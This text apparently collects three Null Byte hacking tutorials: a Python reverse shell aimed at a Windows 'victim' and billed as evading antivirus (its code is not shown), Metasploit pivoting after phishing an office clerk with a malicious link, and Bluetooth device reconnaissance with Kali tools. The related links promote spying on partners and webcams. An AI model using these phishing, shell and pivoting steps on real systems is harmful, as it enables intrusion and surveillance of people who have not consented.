How to Reverse Shell Using Python Β« Null Byte :: WonderHowTo | Hi Folks. This is my first post. I will teach how to create a server and client python reverse shell using sockets and python language. The script i'll post here is going to be very simple, and from here you'll have the possibility to adapt to your own purpose. For example, my original script can download files, upload files, make changes to registry, create user accounts and more. I'm sure you could do it on your own too.PROS: No AV detectionCONS: A bit more complicated to make it work efficiently than using metasploit.First things first, we'll need to set up a server.Step 1: How It WILL WorkOkay, I'll describe how things are going to work. I'm using kali OS at my server-side script. And the client (victim) side MUST be a Windows. So IT WON'T WORK if you test at your UNIX environment.Attacker OS: Kali LinuxVictim OS: Windows 8How the script should work: It will send commands that will be interpreted at the targeted machine running the client script. Then, it will send the output back to the attacker machine.Step 2: Setting Up Server Script (Kali)The script will use three socket functions, Create, Bind and Accept to listen for the client connection. Code:When it detects a incoming connection, it'll receive a hostname from client (the client's code is below) and prompt for an input.This is the last function - main - responsible for executing the functions.Step 3: Setting Up Client (Victim)The client code: You need to set the port for the value you've set at server script. The host could be your local IP on LAN or your WAN IP, or even a DNS Host. I've commented the code for the DNS host.And that should do it.Step 4: ClientImage viaimgur.comStep 5: ServerImage viaimgur.comAfter connecting, a prompt will appear with "IP@Hostname> ' so you can send some commands.To work you'll need to send like this way:shell ipconfigorshell verorshell net userYou'll have to type SHELL before the respective DOS command.That's it. It should be noted that not all commands would work without multi threading the script. RMDIR, MKDIR, DEL, START, and some other commands will require to start another thread. I recommend googling for 'threads python' for more info.IMPORTANT FINAL NOTETo use in pratical scenarios, you could use py2exe to turn the client into windows executable and run in any machine that don't have python installed.So, that's it. Good hacking and remember, everything is possible, the impossible is merely something you don't know how to do it, yet.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Bypass Antivirus Software by Obfuscating Your Payloads with GraffitiHow To:Convert Python Script to ExeNews:And the Winner of the White Hat Award for Technical Excellence Is...How To:Find & Exploit SUID Binaries with SUID3NUMHow To:Use One-Lin3r to Quickly Generate Reverse Shells, Privesc Commands & MoreHow To:Create a Bind Shell in PythonHow To:Upload a Shell to a Web Server and Get Root (RFI): Part 2How To:Use Meterpeter on OS XHow To:Hack UnrealIRCd Using Python Socket ProgrammingHow To:The Novice Guide to Teaching Yourself How to Program (Learning Resources Included)How To:Create a Reverse Shell to Remotely Execute Root Commands Over Any Open Port Using NetCat or BASHNews:Null Byte Is Calling for Contributors!News:Change from BASH to zshWeekend Homework:How to Become a Null Byte ContributorHow To:Push and Pull Remote Files Securely Over SSH with PipesNews:Learning Python 3.x as I go (Last Updated 6/72012)Hack Like a Pro:Hacking Samba on Ubuntu and Installing the Meterpreter |
Hack Like a Pro: How to Pivot from the Victim System to Own Every Computer on the Network Β« Null Byte :: WonderHowTo | Welcome back, my hackers apprentices!To own a network and retrieve the key data, we only need to find ONE weak link in the network. It makes little sense to beat our heads against heavily fortified systems like the file and database server when we can take advantage of the biggest weak link of allβhumans.Somewhere on the network, some clerk with little work to do and lots of time to play on the Internet can be enticed to visit ourmalicious website, open ourmalicious Word doc, or view ourmalicious PDF.Once we compromise this single target on the network, we can then pivot from that single compromised system to own the network and ultimately grab the goodies on the server or database server.In this tutorial, we will look at how to pivot from a single compromised system on the network to compromise and own the most heavily fortified servers on the network. Once you find that single weak link, then you go after the BIG BOYS!Step 1: Compromise a ClientThe first step, of course, is to compromise a single machine on the network. In the diagram above, let's go after someone in the engineering department. We can do this by sending them amalicious link,PDF, orWord doc, or by going after anunpatched operating system. Any of these andmany otherswill work.In my case here, I'm going to use a malicious link and send it via email to one of the people on the engineering department with a note that says it's a "hilarious video" they need to see. Let's create that link.Step 2: Open MetasploitFire upBackTrackand open the Metasploit console.Step 3: Choose an ExploitIn this case, I am using theie_unsafe_scriptingexploit, but any exploit will work. We simply need to find ONE system on the network that is vulnerable to own the entire network.If you are unsure about how to do this, take a look atthis tutorialor thisthis guide. Either will work, as well as many others.Step 4: Get MeterpreterOnce the victim opens the malicious link, we get a meterpreter prompt like that below. From the meterpreter prompt, we can type:meterpreter > ipconfigThis will reveal to us the network interfaces on our target system and the IP and MAC addresses associated with each of them. As you would expect, Interface 1 is the loopback interface, and in this case, Interface 2 is associated with IP 192.168.1.101.Your results may be different based upon the configuration of the compromised machine.Step 5: Scan the NetworkNow that we are inside the network, we can use an auxiliary module in Metasploit calledarp_scanner, which enables us to use the ARP protocol to discover other internal systems on the network similar tothe Netdiscover tool. Let's type:meterpreter > run arpscanner -hThis gives us a help screen for Metasploit'sarp_scanner.Now to run thearp_scanner, we can type:meterpreter > run arp_scanner -r 192.168.1.0/24Where:runis the command to execute internal meterpreter scripts-rprecedes the target address range or CIDR notation network192.168.1.0/24is the CIDR notation to include this entire internal Class C network with a netmask of 255.255.255.0Running the arp scanner reveals all the systems on the internal network. For our purposes here, the default gateway at 192.168.1.1, is probably the most important.Step 6: Add a RouteIn the final step, we will background our meterpreter session (this simply puts our meterpreter session into thebackgroundmeaning it is still running, but we can go back to the metaspliot console and run other commands). Then we would add a route from the default gateway to our compromised system so that ALL traffic from the default gateway must be routed through the compromised machine.In this way, we will have access to all systems and subnets that access that default gateway, enabling us to compromise them as well.Now that we have successfully added the route between the default gateway and our victim computer, the network isβfor all intents and purposesβOURS! We can now use that single compromised machine to attack all the systems on the network both within the engineering subnet and all the subnets that use the default gateway.Of course, to own those machines, we will have to take the final step of running an exploit against each of those machines, but we will no longer have to be concerned about Intrusion Prevention Systems (IPS) and firewalls as we are now attacking from INSIDE the network!Keep coming back for more adventures inHackerland!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseConnected computersimage via ShutterstockRelatedHack Like a Pro:How to Remotely Install a Keylogger onto Your Girlfriend's ComputerHack Like a Pro:Use Your Hacking Skills to Haunt Your Boss with This Halloween PrankHack Like a Pro:How to Spy on Anyone, Part 2 (Finding & Downloading Confidential Documents)News:White House Hacked by Russian Hackers!How to Hack Windows 7:Sending Vulnerable Shortcut FilesHow to Hack Like a Pro:Hacking Windows Vista by Exploiting SMB2 VulnerabilitiesHack Like a Pro:How to Save the World from Nuclear AnnihilationHack Like a Pro:Exploit MS Word to Embed a Listener on Your Roommate's ComputerHack Like a Pro:How to Secretly Hack Into, Switch On, & Watch Anyone's Webcam RemotelyHow To:Use SSH Local Port Forwarding to Pivot into Restricted NetworksHack Like a Pro:The Ultimate Command Cheat Sheet for Metasploit's MeterpreterHack Like a Pro:How to Remotely Install an Auto-Reconnecting Persistent Back Door on Someone's PCHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHow To:Execute Remote Commands on a Disconnected VictimHow To:Use Remote Port Forwarding to Slip Past Firewall Restrictions UnnoticedHack Like a Pro:How to Get Facebook Credentials Without Hacking FacebookNews:'Please Like Me' Embraces Awkwardness of Growing Up (Sponsored)Hack Like a Pro:How to Cover Your Tracks So You Aren't DetectedHack Like a Pro:How to Remotely Record & Listen to the Microphone on Anyone's ComputerHack Like a Pro:How to Hack Windows Vista, 7, & 8 with the New Media Center ExploitHack Like a Pro:How to Create a Nearly Undetectable Backdoor with CryptcatHack Like a Pro:How to Create a Nearly Undetectable Covert Channel with TunnelshellHack Like a Pro:How to Remotely Grab Encrypted Passwords from a Compromised ComputerHacker Fundamentals:The Everyman's Guide to How Network Packets Are Routed Across the WebHack Like a Pro:How to Spy on Anyone, Part 1 (Hacking Computers)How To:Bypass a Local Network Proxy for Free InternetHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterHow To:Hack Anyone's Facebook, Twitter or YouTube Account with Your Android DeviceHow To:The Official Google+ Insider's Guide IndexNews:What does Pro Tools HD Native mean for you?How To:Use Google Voice to Prank Your Friends on April Fool's DayMake a Physical Computer Virus:Plant a Parasite to Prank Your PeepsHow To:Noob's Introductory Guide to Hacking: Where to Get Started?News:Bugzilla Cross Site Request ForgeryHow To:Spy on the Web Traffic for Any Computers on Your Network: An Intro to ARP Poisoning |
BT Recon: How to Snoop on Bluetooth Devices Using Kali Linux Β« Null Byte :: WonderHowTo | While many people may use Bluetooth every day, the majority don't know how it works or that it can be hacked.Bluetooth hackinggives a clear window into the world of the target. Nearly every device has Bluetooth capabilities, and people store a great deal of personal info on their phones and tablets. Hack their Bluetooth connection, and you may be able to access all of that data.Although Bluetooth shares the same 2.4 GHz frequency as Wi-Fi, the properties are different because the protocols are not quite the same. There's enhanced security so that popular Wi-Fi hacking tools won't work on Bluetooth.For one, they're continually hopping frequencies, so if you have two devices communicating over Bluetooth, they're both using an algorithm that shifts the frequency many times per second. That means we can't merely sit on one frequency and listen because they're going to be hopping all over the place. It makes it difficult for an attacker to listen in on the conversation in the first place.Don't Miss:How Mr. Robot Hacked BluetoothAnother property is that Bluetooth doesn't negotiate a key every single time like Wi-Fi does, where it's easy for anyone to join and leave the Wi-Fi network. Instead, Bluetooth negotiates a key once at the beginning, stores the secret key, and then refers to it every time it sees the same device. That means it's impossible to sit there and sniff the key because you need to be there the first time these devices communicate. Otherwise, you're not going to get anything useful, and it's impossible to jump into the conversation the way you can with Wi-Fi.However, we can still track nearby Bluetooth devices, read from them, and even write specific characteristics. Because of that, it's useful to do thereconnaissancein case we can either take control of the device, identify a vulnerability, or find a vulnerability later that matches up with one that's nearby.What You'll Need for Bluetooth ReconTo begin Bluetooth surveillance, you'll need a fully updated version of Kali Linux installed because we're going to be using Bluetooth tools that are built-in. To keep things super basic, we're not installing anything extra, and we can just work with the Bluetooth tools that Kali Linux has by default.The built-in tools we'll be covering below include hciconfig, hcitool, sdptool, l2ping, and btscanner. Many of these tools are included inBlueZ, the default Bluetooth protocol stack in nearly every version of Linux, including Kali. (We will also use some specialized tools for Bluetooth recon in Kali.)Of course, we have to be infairly close proximityto hack Bluetooth. With an excellent Bluetooth adapter, which is needed, you should be able to reach Bluetooth devices in a coffee shop, school classroom, office, and maybe even into a neighbor's house.Don't Miss:Using MultiBlue to Control Any Mobile Device via BluetoothStep 1: Enable Your Bluetooth Adapter with hciconfigIf you're familiar withifconfigfor Wi-Fi cards and adapters, there is another tool that is similar for Bluetooth devices. And it's calledhciconfig.~# hciconfig
hci0 Type: Primary Bus: USB
BD Address: ββ:ββ:ββ:ββ:ββ:ββ ACL MTU: 1022:8 SCO MTU: 183.5
DOWN
RX bytes:574 acl:0 sco:0 events:30 errors:0
TX bytes:368 acl:0 sco:0 commands:30 errors:0In my example, we can see a Bluetooth interface. It's what we'll be using to do all of the things we want to do with Bluetooth. You can see that its current state is down, which means that it's not able to do anything, so the first thing we need to do to work with Bluetooth is to bring our interface up.If we have a Wi-Fi interface that's plugged in, but it's not up yet, we can typeifconfig, then the name of the interface, and thenup. Since hciconfig is basically the same thing as ifconfig, we can use a lot of the same commands, which you can see in itsmanpage.~# man hciconfig
HCICONFIG(1) Linux System Administration HCICONFIG(1)
NAME
hciconfig - configure Bluetooth devices
SYNOPSIS
hciconfig -h
hciconfig [-a]
hciconfig [-a] hciX [command [command parameters]]
DESCRIPTION
hciconfig is used to configure Bluetooth devices. hciX is the name of
a Bluetooth device installed in the system. If hciX is not given, hciβ
config prints name and basic information about all the Bluetooth deβ
vices installed in the system. If hciX is given but no command is
given, it prints basic information on device hciX only. Basic informaβ
tion is interface type, BD address, ACL MTU, SCO MTU, flags (up, init,
running, raw, page scan enabled, inquiry scan enabled, inquiry, authenβ
tication enabled, encryption enabled).
OPTIONS
-h, --help
Gives a list of possible commands.
-a, --all
Other than the basic info, print features, packet type, link
policy, link mode, name, class, version.
COMMANDS
up Open and initialize HCI device.
down Close HCI device.
reset Reset HCI device.
rstat Reset statistic counters.
auth Enable authentication (sets device to security mode 3).
noauth Disable authentication.
encrypt Enable encryption (sets device to security mode 3).
noencrypt Disable encryption.
secmgr Enable security manager (current kernel support is limited).
nosecmgr Disable security manager.
piscan Enable page and inquiry scan.
noscan Disable page and inquiry scan.
iscan Enable inquiry scan, disable page scan.
pscan Enable page scan, disable inquiry scan.
ptype [type] With no type , displays the current packet types. Otherwise, all the packet types specified by type are set. type is a comma-separated list of packet types, where the possible packet types are DM1, DM3, DM5, DH1, DH3, DH5, HV1, HV2, HV3.
name [name] With no name, prints local name. Otherwise, sets local name to name.
class [class] With no class, prints class of device. Otherwise, sets class of device to class. class is a 24-bit hex number describing the class of device, as specified in section 1.2 of the Bluetooth Assigned Numers document.
voice [voice] With no voice, prints voice setting. Otherwise, sets voice setting to voice. voice is a 16-bit hex number describing the voice setting.
iac [iac] With no iac, prints the current IAC setting. Otherwise, sets the IAC to iac.
inqtpl [level] With no level, prints out the current inquiry transmit power level. Otherwise, sets inquiry transmit power level to level.
inqmode [mode] With no mode, prints out the current inquiry mode. Otherwise, sets inquiry mode to mode.
inqdata [data] With no name, prints out the current inquiry data. Otherwise, sets inquiry data to data.
inqtype [type] With no type, prints out the current inquiry scan type. Otherwise, sets inquiry scan type to type.
inqparams [win:int] With no win:int, prints inquiry scan window and interval. Otherwise, sets inquiry scan window to win slots and inquiry scan interval to int slots.
pageparms [win:int] With no win:int, prints page scan window and interval. Otherwise, sets page scan window to win slots and page scan interval to int slots.
pageto [to] With no to, prints page timeout. Otherwise, sets page timeout to .I to slots.
afhmode [mode] With no mode, prints out the current AFH mode. Otherwise, sets AFH mode to mode.
sspmode [mode] With no mode, prints out the current Simple Pairing mode. Otherwise, sets Simple Pairing mode to mode.
aclmtu mtu:pkt Sets ACL MTU to to mtu bytes and ACL buffer size to pkt packets.
scomtu mtu:pkt Sets SCO MTU to mtu bytes and SCO buffer size to pkt packets.
delkey <bdaddr> This command deletes the stored link key for bdaddr from the device.
oobdata Get local OOB data (invalidates previously read data).
commands Display supported commands.
features Display device features.
version Display version information.
revision Display revision information.
lm [mode] With no mode , prints link mode. MASTER or SLAVE mean, respectively, to ask to become master or to remain slave when a connection request comes in. The additional keyword ACCEPT means that baseband connections will be accepted even if there are no listening AF_BLUETOOTH sockets. mode is NONE or a comma-separated list of keywords, where possible keywords are MASTER and ACCEPT . NONE sets link policy to the default behaviour of remaining slave and not accepting baseband connections when there are no listening AF_BLUETOOTH sockets. If MASTER is present, the device will ask to become master if a connection request comes in. If ACCEPT is present, the device will accept baseband connections even when there are no listening AF_BLUETOOTH sockets.
AUTHORS
Written by Maxim Krasnyansky <[email protected]> and Marcel Holtmann <[email protected]>
man page by Fabrizio Gennari <[email protected]>
BlueZ Nov 11 2002 HCICONFIG(1)
Manual page hciconfig(1) line 147/169 (END) (press h for help or q to quit)We can see in the man page that this is used to configure Bluetooth devices, so if you have that external Bluetooth device or something plugged in, you can also use that to see the devices that are connected and configure them appropriately.Now that we know a little bit more about hciconfig, let's go ahead and pressQto quit. We'll need to take the Bluetooth device we've discovered and bring it up. Just typehciconfig, then the name of the device we found, andup.~# hciconfig hci0 upTo see if it worked, run thehciconfigcommand again:~# hciconfig
hci0 Type: Primary Bus: USB
BD Address: ββ:ββ:ββ:ββ:ββ:ββ ACL MTU: 1022:8 SCO MTU: 183.5
UP RUNNING
RX bytes:1148 acl:0 sco:0 events:60 errors:0
TX bytes:736 acl:0 sco:0 commands:60 errors:0Step 2: Scan for Bluetooth Devices with hcitoolNow let's usehcitoolto look for Bluetooth devices that are sending out their discover beacons (in discovery mode). First, let's check out itsmanpage:~# man hciconfig
HCITOOL(1) Linux System Administration HCITOOL(1)
NAME
hcitool - configure Bluetooth connections
SYNOPSIS
hcitool [-h]
hcitool [-i <hciX>] [command [command parameters]]
DESCRIPTION
hcitool is used to configure Bluetooth connections and send some speβ
cial command to Bluetooth devices. If no command is given, or if the
option -h is used, hcitool prints some usage information and exits.
OPTIONS
-h Gives a list of possible commands
-i <hciX>
The command is applied to device hciX , which must be the name
of an installed Bluetooth device. If not specified, the command
will be sent to the first available Bluetooth device.
COMMANDS
dev Display local devices
inq Inquire remote devices. For each discovered device, Bluetooth device address, clock offset and class are printed.
scan Inquire remote devices. For each discovered device, device name are printed.
name <bdaddr> Print device name of remote device with Bluetooth address bdaddr.
info <bdaddr> Print device name, version and supported features of remote device with Bluetooth address bdaddr.
spinq Start periodic inquiry process. No inquiry results are printed.
epinq Exit periodic inquiry process.
cmd <ogf> <ocf> [parameters]
Submit an arbitrary HCI command to local device. ogf, ocf and parameters are hexadecimal bytes.
con Display active baseband connections
cc [--role=m|s] [--pkt-type=<ptype>] <bdaddr>
Create baseband connection to remote device with Bluetooth address bdaddr. Option --pkt-type specifies a list of allowed packet types. <ptype> is a comma-separated list of packet types, where the possible packet types are DM1, DM3, DM5, DH1, DH3, DH5, HV1, HV2, HV3. Default is to allow all packet types. Option --role can have value m (do not allow role switch, stay master) or s (allow role switch, become slave if the peer asks to become master). Default is m.
dc <bdaddr> [reason]
Delete baseband connection from remote device with Bluetooth address bdaddr. The reason can be one of the Bluetooth HCI error codes. Default is 19 for user ended connections. The value must be given in decimal.
sr <bdaddr> <role> Switch role for the baseband connection from the remote device to master or slave.
cpt <bdaddr> <packet types>
Change packet types for baseband connection to device with Bluetooth address bdaddr. packet types is a comma-separated list of packet types, where the possible packet types are DM1, DM3, DM5, DH1, DH3, DH5, HV1, HV2, HV3.
rssi <bdaddr> Display received signal strength information for the connection to the device with Bluetooth address bdaddr.
lq <bdaddr> Display link quality for the connection to the device with Bluetooth address bdaddr.
tpl <bdaddr> [type] Display transmit power level for the connection to the device with Bluetooth address bdaddr. The type can be 0 for the current transmit power level (which is default) or 1 for the maximum transmit power level.
afh <bdaddr> Display AFH channel map for the connection to the device with Bluetooth address bdaddr.
lp <bdaddr> [value] With no value, displays link policy settings for the connection to the device with Bluetooth address bdaddr. If value is given, sets the link policy settings for that connection to value. Possible values are RSWITCH, HOLD, SNIFF and PARK.
lst <bdaddr> [value] With no value, displays link supervision timeout for the connection to the device with Bluetooth address bdaddr. If value is given, sets the link supervision timeout for that connection to value slots, or to infinite if value is 0.
auth <bdaddr> Request authentication for the device with Bluetooth address bdaddr.
enc <bdaddr> [encrypt enable]
Enable or disable the encryption for the device with Bluetooth address bdaddr.
key <bdaddr> Change the connection link key for the device with Bluetooth address bdaddr.
clkoff <bdaddr> Read the clock offset for the device with Bluetooth address bdaddr.
clock [bdaddr] [which clock]
Read the clock for the device with Bluetooth address bdaddr. The clock can be 0 for the local clock or 1 for the piconet clock (which is default).
lescan [--privacy] [--passive] [--whitelist] [--discovery=g|l] [--duplicates]
Start LE scan
leinfo [--static] [--random] <bdaddr>
Get LE remote information
lewladd [--random] <bdaddr>
Add device to LE White List
lewlrm <bdaddr> Remove device from LE White List
lewlsz Read size of LE White List
lewlclr Clear LE White List
lerladd [--local irk] [--peer irk] [--random] <bdaddr>
Add device to LE Resolving List
lerlrm <bdaddr> Remove device from LE Resolving List
lerlclr Clear LE Resolving List
lerlsz Read size of LE Resolving List
lerlon Enable LE Address Resolution
lerloff Disable LE Address Resolution
lecc [--static] [--random] <bdaddr> | [--whitelist]
Create a LE Connection
ledc <handle> [reason]
Disconnect a LE Connection
lecup <handle> <min> <max> <latency> <timeout>
LE Connection Update
AUTHORS
Written by Maxim Krasnyansky <[email protected]> and Marcel Holtmann <[email protected]>
man page by Fabrizio Gennari <[email protected]>
BlueZ Nov 12 2002 HCITOOL(1)
Manual page hcitool(1) line 154/176 (END) (press h for help or q to quit)Hcitool is used to both configure and perform various tasks like scans, inquiries, and pulling names. That's really useful to learn about the device, but some of these commands require a MAC address to use them.Let's take a look at some of these commands. First, we'll do a scan. It will use the Bluetooth interface to scan for nearby Bluetooth devices and present their MAC addresses for us to do additional scans, inquiries, or attempt to get the name of the device.~# hcitool scan
Scanning ...
00:1D:A5:00:09:1D OBDIIAbove, we see anOBD2 connectorwhich is connected to a vehicle. That's pretty interesting. With the MAC address, we can now we can do another command that required us to have a MAC address in the first place. Let's try getting the name of the device:~# hcitool name 00:1D:A5:00:09:1D
OBDIIThat should allow us to get the name of the device, but we already knew it from that first scan. If we didn't know it, however, it'll allow us to be able to learn more about it. To learn more, we can use theinqcommand:~# hcitool inq 00:1D:A5:00:09:1D
Scanning ...
00:1D:A5:00:09:1D clock offset: 0x21c0 class: ox5a020cNote that it also displays clock offset and the class. The class indicates what type of Bluetooth device it is, and we can look up the code by going to theBluetooth site. Or, as we will see later, some tools will do it for us.Step 3: Scan for Services with sdptoolTo learn more about services, we can use a tool calledsdptoolto browse more about what's available on the device and learn about the properties β maybe what we can and can't do. We'll need to use the MAC address again, but first, let's check out itsmanpage too:~# man sdptool
sdptool(1) General Commands Manual sdptool(1)
NAME
sdptool β control and interrogate SDP servers
SYNOPSIS
sdptool [options] {command} [command parameters ...]
DESCRIPTION
sdptool provides the interface for performing SDP queries on Bluetooth
devices, and administering a local SDP database.
COMMANDS
The following commands are available. In all cases bdaddr specifies
the device to search or browse. If local is used for bdaddr, then the
local SDP database is searched.
Services are identified and manipulated with a 4-byte record_handle
(NOT the service name). To find a service's record_handle, look for
the "Service RecHandle" line in the search or browse results
search [--bdaddr bdaddr] [--tree] [--raw] [--xml] service_name
Search for services.. Known service names are DID, SP, DUN, LAN, FAX, OPUSH, FTP, HS, HF, HFAG, SAP, NAP, GN, PANU, HCRP, HID, CIP, A2SRC, A2SNK, AVRCT, AVRTG, UDIUE, UDITE and SYNCML.
browse [--tree] [--raw] [--xml] [bdaddr]
Browse all available services on the device specified by a Bluetooth address as a parameter.
records [--tree] [--raw] [--xml] bdaddr
Retrieve all possible service records.
add [ --handle=N --channel=N ]
Add a service to the local SDP database. You can specify a handle for this record using the --handle option. You can specify a channel to add the service on using the --channel option. NOTE: Local adapters configuration will not be updated and this command should be used only for SDP testing.
del record_handle
Remove a service from the local SDP database. NOTE: Local adapters configuration will not be updated and this command should be used only for SDP testing.
get [--tree] [--raw] [--xml] [--bdaddr bdaddr] record_handle
Retrieve a service from the local SDP database.
setattr record_handle attrib_id attrib_value
Set or add an attribute to an SDP record.
setseq record_handle attrib_id attrib_values
Set or add an attribute sequence to an SDP record.
OPTIONS
--help Displays help on using sdptool.
EXAMPLES
sdptool browse 00:80:98:24:15:6D
sdptool browse local
sdptool add DUN
sdptool del 0x10000
BUGS
Documentation needs improving.
AUTHOR
Maxim Krasnyansky <[email protected]>. Man page written by Edd Dumbill <[email protected]>.
sdptool(1)
Manual page sdptool(1) line 60/82 (END) (press h for help or q to quit)It lets us configure, control, and interrogate SDP (service discovery protocol) servers. So it's something that allows us to do queries on Bluetooth devices and figure out precisely what is going on with the permissions and what we can probably start to do with those services.Quit the man page, and let's typesdptoolthenbrowse, followed by the MAC address we captured.~# sdptool browse 00:1D:A5:00:09:1D
Browsing 00:1D:A5:00:09:1D ...
Service Name: SPP
Service RecHandle: 0x10001
Service Class ID List:
"Serial Port" (ox1101)
Protocol Descriptor List:
"L2CAP" (0x0100)
"RFCOMM" (0x0003)
Channel: 1Here, we can see a little bit more information about the communications, the protocols, and perhaps we could even start to discover whether or not there's a vulnerability in the device or if we're able to communicate with it directly. We can maybe even find whether it's using MAC address randomization or something like that.Step 4: Ping Bluetooth Devices with l2pingNow that we have the MAC addresses of all the nearby devices, we can ping them with a tool calledl2ping, whether they are in discover mode or not, to see whether they are in reach. For me, it's just one device. Before doing so, let's run themanpage for the tool just to see everything available.~# man l2ping
L2PING(1) Linux System Administration L2PING(1)
NAME
l2ping - Send L2CAP echo request and receive answer
SYNOPSIS
l2ping [-i <hciX>] [-s size] [-c count] [-t timeout] [-d delay] [-f]
[-r] [-v] bd_addr
DESCRIPTION
L2ping sends a L2CAP echo request to the Bluetooth MAC address bd_addr
given in dotted hex notation.
OPTIONS
-i <hciX> The command is applied to device hciX , which must be the name of an installed Bluetooth device (X = 0, 1, 2, ...) If not specified, the command will be sent to the first available Bluetooth device.
-s size The size of the data packets to be sent.
-c count Send count number of packets then exit.
-t timeout Wait timeout seconds for the response.
-d delay Wait delay seconds between pings.
-f Kind of flood ping. Use with care! It reduces the delay time between packets to 0.
-r Reverse ping (gnip?). Send echo response instead of echo request.
-v Verify response payload is identical to request payload. It is not required for remote stacks to return the request payload, but most stacks do (including Bluez).
bd_addr The Bluetooth MAC address to be pinged in dotted hex notation like 01:02:03:ab:cd:ef or 01:EF:cd:aB:02:03
AUTHORS
Written by Maxim Krasnyansky <[email protected]> and Marcel Holtmann <[email protected]>
man page by Nils Faerber <[email protected]>, Adam Laurie <[email protected]>.
BlueZ Jan 22 2002 L2PING(1)
Manual page l2ping(1) line 32/54 (END) (press h for help or q to quit)We don't need to do anything fancy here, just ping the Bluetooth device as so:~# l2ping 00:1D:A5:00:09:1D
Ping: 00:1D:A5:00:09:1D from ββ:ββ:ββ:ββ:ββ:ββ (data size 44) ...
44 bytes from 00:1D:A5:00:09:1D id 0 time 37.57ms
44 bytes from 00:1D:A5:00:09:1D id 1 time 27.23ms
44 bytes from 00:1D:A5:00:09:1D id 2 time 27.59ms
44 bytes from 00:1D:A5:00:09:1D id 3 time 27.31ms
44 bytes from 00:1D:A5:00:09:1D id 4 time 40.99ms
44 bytes from 00:1D:A5:00:09:1D id 5 time 48.77ms
44 bytes from 00:1D:A5:00:09:1D id 6 time 59.93ms
44 bytes from 00:1D:A5:00:09:1D id 7 time 48.84ms
44 bytes from 00:1D:A5:00:09:1D id 8 time 67.59msThis indicates that the device is within range and reachable.Step 5: Scan for Bluetooth Devices with btscannerNow it's time to move on to the last tool we're going to cover, which is a full-on graphic user interface used to discover Bluetooth devices. It's calledbtscanner, and once we start it, we can typebtscanner. But before doing that, since we've looked at themanpages for the rest of the tools, let's take a quick look here too:~# man btscanner
BTSCANNER(1) General Commands Manual BTSCANNER(1)
NAME
btscanner - ncurses-based scanner for Bluetooth devices
SYNOPSIS
btscanner [--help] [--cfg <file>] [--no-reset]
DESCRIPTION
This manual page was written for the Debian GNU/Linux distribution beβ
cause the original program does not have a manual page.
btscanner is a tool designed specifically to extract as much informaβ
tion as possible from a Bluetooth device without the requirement to
pair. A detailed information screen extracts HCI and SDP information,
and maintains an open connection to monitor the RSSI and link quality.
btscanner is based on the BlueZ Bluetooth stack, which is included with
recent Linux kernels, and the BlueZ toolset. btscanner also contains a
complete listing of the IEEE OUI numbers and class lookup tables. Using
the information gathered from these sources it is possible to make eduβ
cated guesses as to the host device type.
OPTIONS
--help Show a help text and exit.
--cfg <file> Use <file> as the config file.
--no-reset Do not reset the Bluetooth adapter before scanning.
BUGS
Please report any bugs to Tim Hurman <[email protected]>.
LICENCE
btscanner is covered by the GNU General Public License (GPL).
SEE ALSO
kismet(1).
AUTHORS
Tim Hurman <[email protected]>
This manual page was written by Uwe Hermann <[email protected]>, for
the Debian GNU/Linux system (but may be used by others).
April 22, 2006 BTSCANNER(1)
Manual page btscanner(1) line 23/45 (END) (press h for help or q to quit)You can see there's not much to btscanner, and that's because it's a GUI tool, so all of the magic happens after running the tool, so let's do that now:~# btscanner
Opening the OUI database
Reading the OUT databaseThe interface might look kind of similar to people who are familiar with the Kismet interface, which kind of allows us to do a lot of stuff in the command-line format with a GUI type of feel. It's beneficial and cool because it means that by typingi, we can start doing an inquiry scan and find nearby Bluetooth devices, and it could allow us to connect or set a command or something like that.We found a device, and it's the same Bluetooth device we saw before, and I'm sure that we'll be able to find some other devices as they roll in. For now, we can go ahead and pressEnterto learn about the device.Here, we can see the name of the device when it's first seen, the owner, which is interesting, and then some more information about the various features that are being advertised.To go back to the main window, pressQ, and as other devices are discovered, or as they come in range, we can find them here and start to learn more about what these devices are doing, what they're communicating with, what else they are capable of, and more.If you don't have Bluetooth on your computer, you can always plug in a Bluetooth adapter, but you might want to check to make sure that it's compatible before you go ahead and go through the trouble. I'm not sure that every Bluetooth adapter is going to work with every Linux program.Above, you can see we found a second device, so let's go ahead and click on it.We can see that this is a smartphone β a Samsung device β and it has a lot more capabilities and things we could do with it than our first device did. Already, we're able to reach out and start looking at different devices. We can begin to learn about them, maybe the software running behind them, and certainly see the services that they're advertising to understand whether or not it represents a good attack surface.All of the above is done with a fully updated version of Kali Linux, and we didn't have to install anything. So if you're starting fresh with Kali Linux, it's a great way to use some of the built-in tools to reach out and touch Bluetooth devices around you and begin to learn more about what each one of these versatile and powerful tools is capable of.What We've Learned So FarToday, we explored Bluetooth reconnaissance, and there are some more advanced things we can do with this information. Many Bluetooth devices don't bother to randomize their MAC address, meaning it'll be the same all the time. That can be used to track a person from place to place.For instance,Tile Bluetooth trackers, where you can find a lost item by anybody who has the app running. That means that a person is trackable, and there is no way to turn it off. If you want to opt-out of that kind of tracking, make sure to disable Bluetooth on devices like a cell phone. But for devices that naturally have it turned on, like a Tile tracker, there's no option other than to leave it at home.Don't Miss:How to Target Bluetooth Devices with BettercapWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image via Shutterstock (1,2)RelatedHow To:Replace Android's Voice Dialer with Google Now for Better Bluetooth DialingHow to Hack Bluetooth, Part 1:Terms, 